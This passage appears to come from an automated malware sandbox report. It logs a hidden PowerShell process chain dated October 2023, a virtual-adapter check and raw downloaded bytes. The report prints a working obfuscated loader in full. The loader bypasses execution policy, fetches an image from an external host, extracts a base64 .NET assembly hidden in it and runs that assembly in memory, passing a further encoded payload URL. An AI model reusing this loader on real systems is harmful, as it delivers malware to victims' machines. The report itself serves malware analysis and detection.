€€g€€Cw€€I€€€€n€€GQ€€ZgBk€€GY€€Jw€€g€€Cw€€I€€€€n€€GQ€€ZgBk€€GY€€Jw€€g€€Cw€€I€€€€n€€GQ€€YQBk€€HM€€YQ€€n€€C€€€€L€€€€g€€Cc€€Z€€Bl€€Cc€€I€€€€s€€C€€€€JwBj€€HU€€Jw€€p€€Ck€€';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('€€','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
cmdline	powershell -command $Codigo = 'J€€Bp€€G0€€YQBn€€GU€€VQBy€€Gw€€I€€€€9€€C€€€€JwBo€€HQ€€d€€Bw€€HM€€Og€€v€€C8€€aQBt€€GE€€ZwBl€€HU€€c€€Bs€€G8€€YQBk€€C4€€aQBv€€C8€€aQBi€€C8€€ZQBr€€Fc€€ZwBI€€Fc€€agBQ€€DM€€YQBy€€HY€€VQBx€€Dc€€Xw€€x€€DY€€OQ€€4€€DE€€Ng€€2€€D€€€€OQ€€3€€C4€€agBw€€Gc€€Jw€€7€€CQ€€dwBl€€GI€€QwBs€€Gk€€ZQBu€€HQ€€I€€€€9€€C€€€€TgBl€€Hc€€LQBP€€GI€€agBl€€GM€€d€€€€g€€FM€€eQBz€€HQ€€ZQBt€€C4€€TgBl€€HQ€€LgBX€€GU€€YgBD€€Gw€€aQBl€€G4€€d€€€€7€€CQ€€aQBt€€GE€€ZwBl€€EI€€eQB0€€GU€€cw€€g€€D0€€I€€€€k€€Hc€€ZQBi€€EM€€b€€Bp€€GU€€bgB0€€C4€€R€€Bv€€Hc€€bgBs€€G8€€YQBk€€EQ€€YQB0€€GE€€K€€€€k€€Gk€€bQBh€€Gc€€ZQBV€€HI€€b€€€€p€€Ds€€J€€Bp€€G0€€YQBn€€GU€€V€€Bl€€Hg€€d€€€€g€€D0€€I€€Bb€€FM€€eQBz€€HQ€€ZQBt€€C4€€V€€Bl€€Hg€€d€€€€u€€EU€€bgBj€€G8€€Z€€Bp€€G4€€ZwBd€€Do€€OgBV€€FQ€€Rg€€4€€C4€€RwBl€€HQ€€UwB0€€HI€€aQBu€€Gc€€K€€€€k€€Gk€€bQBh€€Gc€€ZQBC€€Hk€€d€€Bl€€HM€€KQ€€7€€CQ€€cwB0€€GE€€cgB0€€EY€€b€€Bh€€Gc€€I€€€€9€€C€€€€Jw€€8€€Dw€€QgBB€€FM€€RQ€€2€€DQ€€XwBT€€FQ€€QQBS€€FQ€€Pg€€+€€Cc€€Ow€€k€€GU€€bgBk€€EY€€b€€Bh€€Gc€€I€€€€9€€C€€€€Jw€€8€€Dw€€QgBB€€FM€€RQ€€2€€DQ€€XwBF€€E4€€R€€€€+€€D4€€Jw€€7€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€g€€D0€€I€€€€k€€Gk€€bQBh€€Gc€€ZQBU€€GU€€e€€B0€€C4€€SQBu€€GQ€€ZQB4€€E8€€Zg€€o€€CQ€€cwB0€€GE€€cgB0€€EY€€b€€Bh€€Gc€€KQ€€7€€CQ€€ZQBu€€GQ€€SQBu€€GQ€€ZQB4€€C€€€€PQ€€g€€CQ€€aQBt€€GE€€ZwBl€€FQ€€ZQB4€€HQ€€LgBJ€€G4€€Z€€Bl€€Hg€€TwBm€€Cg€€J€€Bl€€G4€€Z€€BG€€Gw€€YQBn€€Ck€€Ow€€k€€HM€€d€€Bh€€HI€€d€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€t€€Gc€€ZQ€€g€€D€€€€I€€€€t€€GE€€bgBk€€C€€€€J€€Bl€€G4€€Z€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€t€€Gc€€d€€€€g€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€7€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€g€€Cs€€PQ€€g€€CQ€€cwB0€€GE€€cgB0€€EY€€b€€Bh€€Gc€€LgBM€€GU€€bgBn€€HQ€€a€€€€7€€CQ€€YgBh€€HM€€ZQ€€2€€DQ€€T€€Bl€€G4€€ZwB0€€Gg€€I€€€€9€€C€€€€J€€Bl€€G4€€Z€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€t€€C€€€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€Ds€€J€€Bi€€GE€€cwBl€€DY€€N€€BD€€G8€€bQBt€€GE€€bgBk€€C€€€€PQ€€g€€CQ€€aQBt€€GE€€ZwBl€€FQ€€ZQB4€€HQ€€LgBT€€HU€€YgBz€€HQ€€cgBp€€G4€€Zw€€o€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€s€€C€€€€J€€Bi€€GE€€cwBl€€DY€€N€€BM€€GU€€bgBn€€HQ€€a€€€€p€€Ds€€J€€Bj€€G8€€bQBt€€GE€€bgBk€€EI€€eQB0€€GU€€cw€€g€€D0€€I€€Bb€€FM€€eQBz€€HQ€€ZQBt€€C4€€QwBv€€G4€€dgBl€€HI€€d€€Bd€€Do€€OgBG€€HI€€bwBt€€EI€€YQBz€€GU€€Ng€€0€€FM€€d€€By€€Gk€€bgBn€€Cg€€J€€Bi€€GE€€cwBl€€DY€€N€€BD€€G8€€bQBt€€GE€€bgBk€€Ck€€Ow€€k€€Gw€€bwBh€€GQ€€ZQBk€€EE€€cwBz€€GU€€bQBi€€Gw€€eQ€€g€€D0€€I€€Bb€€FM€€eQBz€€HQ€€ZQBt€€C4€€UgBl€€GY€€b€€Bl€€GM€€d€€Bp€€G8€€bg€€u€€EE€€cwBz€€GU€€bQBi€€Gw€€eQBd€€Do€€OgBM€€G8€€YQBk€€Cg€€J€€Bj€€G8€€bQBt€€GE€€bgBk€€EI€€eQB0€€GU€€cw€€p€€Ds€€J€€B0€€Hk€€c€€Bl€€C€€€€PQ€€g€€CQ€€b€€Bv€€GE€€Z€€Bl€€GQ€€QQBz€€HM€€ZQBt€€GI€€b€€B5€€C4€€RwBl€€HQ€€V€€B5€€H€€€€ZQ€€o€€Cc€€RgBp€€GI€€ZQBy€€C4€€S€€Bv€€G0€€ZQ€€n€€Ck€€Ow€€k€€G0€€ZQB0€€Gg€€bwBk€€C€€€€PQ€€g€€CQ€€d€€B5€€H€€€€ZQ€€u€€Ec€€ZQB0€€E0€€ZQB0€€Gg€€bwBk€€Cg€€JwBW€€EE€€SQ€€n€€Ck€€LgBJ€€G4€€dgBv€€Gs€€ZQ€€o€€CQ€€bgB1€€Gw€€b€€€€s€€C€€€€WwBv€€GI€€agBl€€GM€€d€€Bb€€F0€€XQ€€g€€Cg€€JwBk€€Eg€€a€€€€w€€Ew€€bQBw€€Ho€€YQBI€€Fo€€bgBh€€Ec€€c€€€€0€€Fk€€agBR€€DI€€WgBY€€E4€€a€€BZ€€G0€€VgB1€€GE€€W€€Bw€€DE€€WQB5€€Dg€€M€€BO€€Ho€€RQB1€€E4€€egBN€€HU€€TgBE€€FU€€eQBM€€Go€€VQ€€0€€E0€€Uw€€4€€HY€€TwBu€€EI€€M€€Bk€€Ec€€Zw€€9€€Cc€€I€€€€s€€C€€€€JwBk€€GY€€Z€€Bm€€GQ€€Jw€€g€€Cw€€I€€€€n€€GQ€€ZgBk€€GY€€Jw€€g€€Cw€€I€€€€n€€GQ€€ZgBk€€GY€€Jw€€g€€Cw€€I€€€€n€€GQ€€YQBk€€HM€€YQ€€n€€C€€€€L€€€€g€€Cc€€Z€€Bl€€Cc€€I€€€€s€€C€€€€JwBj€€HU€€Jw€€p€€Ck€€';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('€€','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD

A process created a hidden window (3 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW Oct. 31, 2023, 5:43 p.m.	thread_identifier: 564 thread_handle: 0x00000000000004e0 process_identifier: 1720 current_directory: C:\Users\test22\Desktop filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J€€Bp€€G0€€YQBn€€GU€€VQBy€€Gw€€I€€€€9€€C€€€€JwBo€€HQ€€d€€Bw€€HM€€Og€€v€€C8€€aQBt€€GE€€ZwBl€€HU€€c€€Bs€€G8€€YQBk€€C4€€aQBv€€C8€€aQBi€€C8€€ZQBr€€Fc€€ZwBI€€Fc€€agBQ€€DM€€YQBy€€HY€€VQBx€€Dc€€Xw€€x€€DY€€OQ€€4€€DE€€Ng€€2€€D€€€€OQ€€3€€C4€€agBw€€Gc€€Jw€€7€€CQ€€dwBl€€GI€€QwBs€€Gk€€ZQBu€€HQ€€I€€€€9€€C€€€€TgBl€€Hc€€LQBP€€GI€€agBl€€GM€€d€€€€g€€FM€€eQBz€€HQ€€ZQBt€€C4€€TgBl€€HQ€€LgBX€€GU€€YgBD€€Gw€€aQBl€€G4€€d€€€€7€€CQ€€aQBt€€GE€€ZwBl€€EI€€eQB0€€GU€€cw€€g€€D0€€I€€€€k€€Hc€€ZQBi€€EM€€b€€Bp€€GU€€bgB0€€C4€€R€€Bv€€Hc€€bgBs€€G8€€YQBk€€EQ€€YQB0€€GE€€K€€€€k€€Gk€€bQBh€€Gc€€ZQBV€€HI€€b€€€€p€€Ds€€J€€Bp€€G0€€YQBn€€GU€€V€€Bl€€Hg€€d€€€€g€€D0€€I€€Bb€€FM€€eQBz€€HQ€€ZQBt€€C4€€V€€Bl€€Hg€€d€€€€u€€EU€€bgBj€€G8€€Z€€Bp€€G4€€ZwBd€€Do€€OgBV€€FQ€€Rg€€4€€C4€€RwBl€€HQ€€UwB0€€HI€€aQBu€€Gc€€K€€€€k€€Gk€€bQBh€€Gc€€ZQBC€€Hk€€d€€Bl€€HM€€KQ€€7€€CQ€€cwB0€€GE€€cgB0€€EY€€b€€Bh€€Gc€€I€€€€9€€C€€€€Jw€€8€€Dw€€QgBB€€FM€€RQ€€2€€DQ€€XwBT€€FQ€€QQBS€€FQ€€Pg€€+€€Cc€€Ow€€k€€GU€€bgBk€€EY€€b€€Bh€€Gc€€I€€€€9€€C€€€€Jw€€8€€Dw€€QgBB€€FM€€RQ€€2€€DQ€€XwBF€€E4€€R€€€€+€€D4€€Jw€€7€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€g€€D0€€I€€€€k€€Gk€€bQBh€€Gc€€ZQBU€€GU€€e€€B0€€C4€€SQBu€€GQ€€ZQB4€€E8€€Zg€€o€€CQ€€cwB0€€GE€€cgB0€€EY€€b€€Bh€€Gc€€KQ€€7€€CQ€€ZQBu€€GQ€€SQBu€€GQ€€ZQB4€€C€€€€PQ€€g€€CQ€€aQBt€€GE€€ZwBl€€FQ€€ZQB4€€HQ€€LgBJ€€G4€€Z€€Bl€€Hg€€TwBm€€Cg€€J€€Bl€€G4€€Z€€BG€€Gw€€YQBn€€Ck€€Ow€€k€€HM€€d€€Bh€€HI€€d€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€t€€Gc€€ZQ€€g€€D€€€€I€€€€t€€GE€€bgBk€€C€€€€J€€Bl€€G4€€Z€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€t€€Gc€€d€€€€g€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€7€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€g€€Cs€€PQ€€g€€CQ€€cwB0€€GE€€cgB0€€EY€€b€€Bh€€Gc€€LgBM€€GU€€bgBn€€HQ€€a€€€€7€€CQ€€YgBh€€HM€€ZQ€€2€€DQ€€T€€Bl€€G4€€ZwB0€€Gg€€I€€€€9€€C€€€€J€€Bl€€G4€€Z€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€t€€C€€€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€Ds€€J€€Bi€€GE€€cwBl€€DY€€N€€BD€€G8€€bQBt€€GE€€bgBk€€C€€€€PQ€€g€€CQ€€aQBt€€GE€€ZwBl€€FQ€€ZQB4€€HQ€€LgBT€€HU€€YgBz€€HQ€€cgBp€€G4€€Zw€€o€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€s€€C€€€€J€€Bi€€GE€€cwBl€€DY€€N€€BM€€GU€€bgBn€€HQ€€a€€€€p€€Ds€€J€€Bj€€G8€€bQBt€€GE€€bgBk€€EI€€eQB0€€GU€€cw€€g€€D0€€I€€Bb€€FM€€eQBz€€HQ€€ZQBt€€C4€€QwBv€€G4€€dgBl€€HI€€d€€Bd€€Do€€OgBG€€HI€€bwBt€€EI€€YQBz€€GU€€Ng€€0€€FM€€d€€By€€Gk€€bgBn€€Cg€€J€€Bi€€GE€€cwBl€€DY€€N€€BD€€G8€€bQBt€€GE€€bgBk€€Ck€€Ow€€k€€Gw€€bwBh€€GQ€€ZQBk€€EE€€cwBz€€GU€€bQBi€€Gw€€eQ€€g€€D0€€I€€Bb€€FM€€eQBz€€HQ€€ZQBt€€C4€€UgBl€€GY€€b€€Bl€€GM€€d€€Bp€€G8€€bg€€u€€EE€€cwBz€€GU€€bQBi€€Gw€€eQBd€€Do€€OgBM€€G8€€YQBk€€Cg€€J€€Bj€€G8€€bQBt€€GE€€bgBk€€EI€€eQB0€€GU€€cw€€p€€Ds€€J€€B0€€Hk€€c€€Bl€€C€€€€PQ€€g€€CQ€€b€€Bv€€GE€€Z€€Bl€€GQ€€QQBz€€HM€€ZQBt€€GI€€b€€B5€€C4€€RwBl€€HQ€€V€€B5€€H€€€€ZQ€€o€€Cc€€RgBp€€GI€€ZQBy€€C4€€S€€Bv€€G0€€ZQ€€n€€Ck€€Ow€€k€€G0€€ZQB0€€Gg€€bwBk€€C€€€€PQ€€g€€CQ€€d€€B5€€H€€€€ZQ€€u€€Ec€€ZQB0€€E0€€ZQB0€€Gg€€bwBk€€Cg€€JwBW€€EE€€SQ€€n€€Ck€€LgBJ€€G4€€dgBv€€Gs€€ZQ€€o€€CQ€€bgB1€€Gw€€b€€€€s€€C€€€€WwBv€€GI€€agBl€€GM€€d€€Bb€€F0€€XQ€€g€€Cg€€JwBk€€Eg€€a€€€€w€€Ew€€bQBw€€Ho€€YQBI€€Fo€€bgBh€€Ec€€c€€€€0€€Fk€€agBR€€DI€€WgBY€€E4€€a€€BZ€€G0€€VgB1€€GE€€W€€Bw€€DE€€WQB5€€Dg€€M€€BO€€Ho€€RQB1€€E4€€egBN€€HU€€TgBE€€FU€€eQBM€€Go€€VQ€€0€€E0€€Uw€€4€€HY€€TwBu€€EI€€M€€Bk€€Ec€€Zw€€9€€Cc€€I€€€€s€€C€€€€JwBk€€GY€€Z€€Bm€€GQ€€Jw€€g€€Cw€€I€€€€n€€GQ€€ZgBk€€GY€€Jw€€g€€Cw€€I€€€€n€€GQ€€ZgBk€€GY€€Jw€€g€€Cw€€I€€€€n€€GQ€€YQBk€€HM€€YQ€€n€€C€€€€L€€€€g€€Cc€€Z€€Bl€€Cc€€I€€€€s€€C€€€€JwBj€€HU€€Jw€€p€€Ck€€';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('€€','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000000000004d8	1	1
ShellExecuteExW Oct. 31, 2023, 5:43 p.m.	show_type: 0 filepath_r: powershell parameters: -command $Codigo = 'J€€Bp€€G0€€YQBn€€GU€€VQBy€€Gw€€I€€€€9€€C€€€€JwBo€€HQ€€d€€Bw€€HM€€Og€€v€€C8€€aQBt€€GE€€ZwBl€€HU€€c€€Bs€€G8€€YQBk€€C4€€aQBv€€C8€€aQBi€€C8€€ZQBr€€Fc€€ZwBI€€Fc€€agBQ€€DM€€YQBy€€HY€€VQBx€€Dc€€Xw€€x€€DY€€OQ€€4€€DE€€Ng€€2€€D€€€€OQ€€3€€C4€€agBw€€Gc€€Jw€€7€€CQ€€dwBl€€GI€€QwBs€€Gk€€ZQBu€€HQ€€I€€€€9€€C€€€€TgBl€€Hc€€LQBP€€GI€€agBl€€GM€€d€€€€g€€FM€€eQBz€€HQ€€ZQBt€€C4€€TgBl€€HQ€€LgBX€€GU€€YgBD€€Gw€€aQBl€€G4€€d€€€€7€€CQ€€aQBt€€GE€€ZwBl€€EI€€eQB0€€GU€€cw€€g€€D0€€I€€€€k€€Hc€€ZQBi€€EM€€b€€Bp€€GU€€bgB0€€C4€€R€€Bv€€Hc€€bgBs€€G8€€YQBk€€EQ€€YQB0€€GE€€K€€€€k€€Gk€€bQBh€€Gc€€ZQBV€€HI€€b€€€€p€€Ds€€J€€Bp€€G0€€YQBn€€GU€€V€€Bl€€Hg€€d€€€€g€€D0€€I€€Bb€€FM€€eQBz€€HQ€€ZQBt€€C4€€V€€Bl€€Hg€€d€€€€u€€EU€€bgBj€€G8€€Z€€Bp€€G4€€ZwBd€€Do€€OgBV€€FQ€€Rg€€4€€C4€€RwBl€€HQ€€UwB0€€HI€€aQBu€€Gc€€K€€€€k€€Gk€€bQBh€€Gc€€ZQBC€€Hk€€d€€Bl€€HM€€KQ€€7€€CQ€€cwB0€€GE€€cgB0€€EY€€b€€Bh€€Gc€€I€€€€9€€C€€€€Jw€€8€€Dw€€QgBB€€FM€€RQ€€2€€DQ€€XwBT€€FQ€€QQBS€€FQ€€Pg€€+€€Cc€€Ow€€k€€GU€€bgBk€€EY€€b€€Bh€€Gc€€I€€€€9€€C€€€€Jw€€8€€Dw€€QgBB€€FM€€RQ€€2€€DQ€€XwBF€€E4€€R€€€€+€€D4€€Jw€€7€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€g€€D0€€I€€€€k€€Gk€€bQBh€€Gc€€ZQBU€€GU€€e€€B0€€C4€€SQBu€€GQ€€ZQB4€€E8€€Zg€€o€€CQ€€cwB0€€GE€€cgB0€€EY€€b€€Bh€€Gc€€KQ€€7€€CQ€€ZQBu€€GQ€€SQBu€€GQ€€ZQB4€€C€€€€PQ€€g€€CQ€€aQBt€€GE€€ZwBl€€FQ€€ZQB4€€HQ€€LgBJ€€G4€€Z€€Bl€€Hg€€TwBm€€Cg€€J€€Bl€€G4€€Z€€BG€€Gw€€YQBn€€Ck€€Ow€€k€€HM€€d€€Bh€€HI€€d€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€t€€Gc€€ZQ€€g€€D€€€€I€€€€t€€GE€€bgBk€€C€€€€J€€Bl€€G4€€Z€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€t€€Gc€€d€€€€g€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€7€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€g€€Cs€€PQ€€g€€CQ€€cwB0€€GE€€cgB0€€EY€€b€€Bh€€Gc€€LgBM€€GU€€bgBn€€HQ€€a€€€€7€€CQ€€YgBh€€HM€€ZQ€€2€€DQ€€T€€Bl€€G4€€ZwB0€€Gg€€I€€€€9€€C€€€€J€€Bl€€G4€€Z€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€t€€C€€€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€Ds€€J€€Bi€€GE€€cwBl€€DY€€N€€BD€€G8€€bQBt€€GE€€bgBk€€C€€€€PQ€€g€€CQ€€aQBt€€GE€€ZwBl€€FQ€€ZQB4€€HQ€€LgBT€€HU€€YgBz€€HQ€€cgBp€€G4€€Zw€€o€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€s€€C€€€€J€€Bi€€GE€€cwBl€€DY€€N€€BM€€GU€€bgBn€€HQ€€a€€€€p€€Ds€€J€€Bj€€G8€€bQBt€€GE€€bgBk€€EI€€eQB0€€GU€€cw€€g€€D0€€I€€Bb€€FM€€eQBz€€HQ€€ZQBt€€C4€€QwBv€€G4€€dgBl€€HI€€d€€Bd€€Do€€OgBG€€HI€€bwBt€€EI€€YQBz€€GU€€Ng€€0€€FM€€d€€By€€Gk€€bgBn€€Cg€€J€€Bi€€GE€€cwBl€€DY€€N€€BD€€G8€€bQBt€€GE€€bgBk€€Ck€€Ow€€k€€Gw€€bwBh€€GQ€€ZQBk€€EE€€cwBz€€GU€€bQBi€€Gw€€eQ€€g€€D0€€I€€Bb€€FM€€eQBz€€HQ€€ZQBt€€C4€€UgBl€€GY€€b€€Bl€€GM€€d€€Bp€€G8€€bg€€u€€EE€€cwBz€€GU€€bQBi€€Gw€€eQBd€€Do€€OgBM€€G8€€YQBk€€Cg€€J€€Bj€€G8€€bQBt€€GE€€bgBk€€EI€€eQB0€€GU€€cw€€p€€Ds€€J€€B0€€Hk€€c€€Bl€€C€€€€PQ€€g€€CQ€€b€€Bv€€GE€€Z€€Bl€€GQ€€QQBz€€HM€€ZQBt€€GI€€b€€B5€€C4€€RwBl€€HQ€€V€€B5€€H€€€€ZQ€€o€€Cc€€RgBp€€GI€€ZQBy€€C4€€S€€Bv€€G0€€ZQ€€n€€Ck€€Ow€€k€€G0€€ZQB0€€Gg€€bwBk€€C€€€€PQ€€g€€CQ€€d€€B5€€H€€€€ZQ€€u€€Ec€€ZQB0€€E0€€ZQB0€€Gg€€bwBk€€Cg€€JwBW€€EE€€SQ€€n€€Ck€€LgBJ€€G4€€dgBv€€Gs€€ZQ€€o€€CQ€€bgB1€€Gw€€b€€€€s€€C€€€€WwBv€€GI€€agBl€€GM€€d€€Bb€€F0€€XQ€€g€€Cg€€JwBk€€Eg€€a€€€€w€€Ew€€bQBw€€Ho€€YQBI€€Fo€€bgBh€€Ec€€c€€€€0€€Fk€€agBR€€DI€€WgBY€€E4€€a€€BZ€€G0€€VgB1€€GE€€W€€Bw€€DE€€WQB5€€Dg€€M€€BO€€Ho€€RQB1€€E4€€egBN€€HU€€TgBE€€FU€€eQBM€€Go€€VQ€€0€€E0€€Uw€€4€€HY€€TwBu€€EI€€M€€Bk€€Ec€€Zw€€9€€Cc€€I€€€€s€€C€€€€JwBk€€GY€€Z€€Bm€€GQ€€Jw€€g€€Cw€€I€€€€n€€GQ€€ZgBk€€GY€€Jw€€g€€Cw€€I€€€€n€€GQ€€ZgBk€€GY€€Jw€€g€€Cw€€I€€€€n€€GQ€€YQBk€€HM€€YQ€€n€€C€€€€L€€€€g€€Cc€€Z€€Bl€€Cc€€I€€€€s€€C€€€€JwBj€€HU€€Jw€€p€€Ck€€';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('€€','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD filepath: powershell	1	1
CreateProcessInternalW Oct. 31, 2023, 5:44 p.m.	thread_identifier: 3004 thread_handle: 0x00000000000003c4 process_identifier: 2964 current_directory: C:\Users\test22\Desktop filepath: track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://imageupload.io/ib/ekWgHWjP3arvUq7_1698166097.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmpzaHZnaGp4YjQ2ZXNhYmVuaXp1Yy80NzEuNzMuNDUyLjU4MS8vOnB0dGg=' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))" filepath_r: stack_pivoted: 0 creation_flags: 0 () inherit_handles: 1 process_handle: 0x0000000000000394	1	1

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Oct. 31, 2023, 5:44 p.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (50 out of 81 events)

Data received	[
Data received	We@¾ì)ÔV>æÛ¤ cJ3âºuÞ7IDOWNGRD ÈçÛÖuÚéµÛ±³0Æs¼ueãM\ò0?ÝÀÿ
Data received	}
Data received	K
Data received	GA2Z ¬Ðª$°Ñ²ß>ug}IwîÄjyªÎà\¢1Î .ØÒÀ®B@¼W;Q4^=Ãp6GàÒ3NYÇ¤³×èD{8!õ4dËHò´å"è³ íþÁBÂûÁkÆr¡$¶<:Óó d9»eC¼ÊR`ø4áÉ èoÛpCS×OR&ÃUªN³{ùàU]^NPt6©ª¸³~¤½tð«ÆQ°î9ç)´«"¨»pæ¶4èSoÙÓì¸ÝöM!3Ì%óÿZal ¶ðeY«¢SùÜð_\Ìúû9.áðXcnn1ª~ÅLÏ¼½bæþU lÙKÅQÇ]PLQnaóÕå+ï®LÑE\xó- A ½¡ëæÏ`
Data received
Data received
Data received
Data received
Data received	0
Data received	ÜvZÇ£<Â´ãè÷å]7;;8Ð+¦Ú r%Ë<õ¼l)¤aÏ
Data received	p
Data received	·}KfþÄqaÜUÍG{eà°Ô ·Ö±´3ä·8Î¤ø9M¸EõÕoanyW¼FrLf9hG×÷-\h>ï"Ë±LG@ëÐ\|\|½ ¹$&Wã)Ü½K×ÓÀG+54ùY/¢øTO8×NÈÝ]ð:ôëÿÊh]Õª×ãÚ5-»us}õÚmB{üÙ±¼ìËêù\|tÓÒg°ÝÍº}¤æ×e,AÖãâcÑ6Aðv^®W¹Üºë@@,¢©ÞÛlKçZ¿íFYíÓO_.üúÉP#!j/ù^¹d7ª;h«¶Ñ@ýQÁÀÿö\C±u×»?I LD~òMh1rhPrsGígðcRA;(úþ;ª2ðiþußÑ ±4ûÐ§´B^je$.p_@Ü<ñZ)éM×Å8ä\X ôd{é±õSusñÍïûxÛôÁôÖô9çÀ9ò±7zCÞ(Ñq¸çø.Eo?#=#÷äô~þpEXüU¡ùD°¶éumé6lýú®± ýù÷åïü>¡PaIÖ?~ÓS¼Ó@Øg/7tø¿¯%\\|¶9·Ã_{áÊql0gsá ôFÊ-2Ü5l^"»B7MQ¨°ZÏü;3-Ñ]²ë)7sÙhtØ8Ü/Úe`ªÞÆniwû$rvó?ØõU¬ã¿[ Q,B¢¤ýÎìçúúQMÈüoHÝ8R¬¬ï§FWÈþbNËÀÎÁÓ2¦&[Ø"¯5s}L$óOt 8+x:]wÇíµ¸¹Ð-;¡JiËî@(ÿÅÊõ¥Jþàíÿ #¤Ç'>¿õPq¯m}`¥×ù¶-ã!þçî\# ¿ÒR¿X" (dwâtà 9»áÿkjzB~}öf8Gn¬\yû¤Í©5þb¸ü÷Ã@Ë;´RßÃ"¬úÌê²)ý¦ÆsOÚû5Ã¶÷ã©MÁ#¦yD+ºüX6èxÊÔvþ¯`U;Ä¥Zºä6é×Ã %étÇNA$çKTeLsè¾ÅÔcø¼ß »ôkLº;ï]×ÃæÀk!àIöýøÄj>nBÌ5 þ^ÝyßþÖRöK7Æ¨Öwl£½w¹Ò;Wãií¶¾¢§_>ç>e$ôKâ j¼So2f©÷#øh#x6.À«{R5¬/hiRaâj¡®B RâaòráQ÷&ÂZÒkKülSg]1=¸ú«©n_ZÐ§ðÎj4_ïqVE}oÓJf·\W+þÏù nz=FÍGÂü3£¯ °w6Y·ÙÞ³Æ¿0òÿÒ.ÝC)æy¬HYÄ9lìÕ;<z&ã¦U_,%íLü&-ÜVÑþ ËãS)Z6 Íêñíß' þ Tî1×^;Y>q</¤ Þóº8wt~Ln5ÓF×AÜö4 )ÀZ?íP;þb%°ÂêlÄr¼¥%rP®Zý/ gçî·ó~VúïiË¾º ²ëë-î;Ûè¡ÔöàÍùk©`éÌ0ß$ë5À¸Ä'6Ê6$Íýï»j²6U¼Ä;jÂH$ £lÖP'\|íÞMÛáÐÀB©ÃAâ±;.
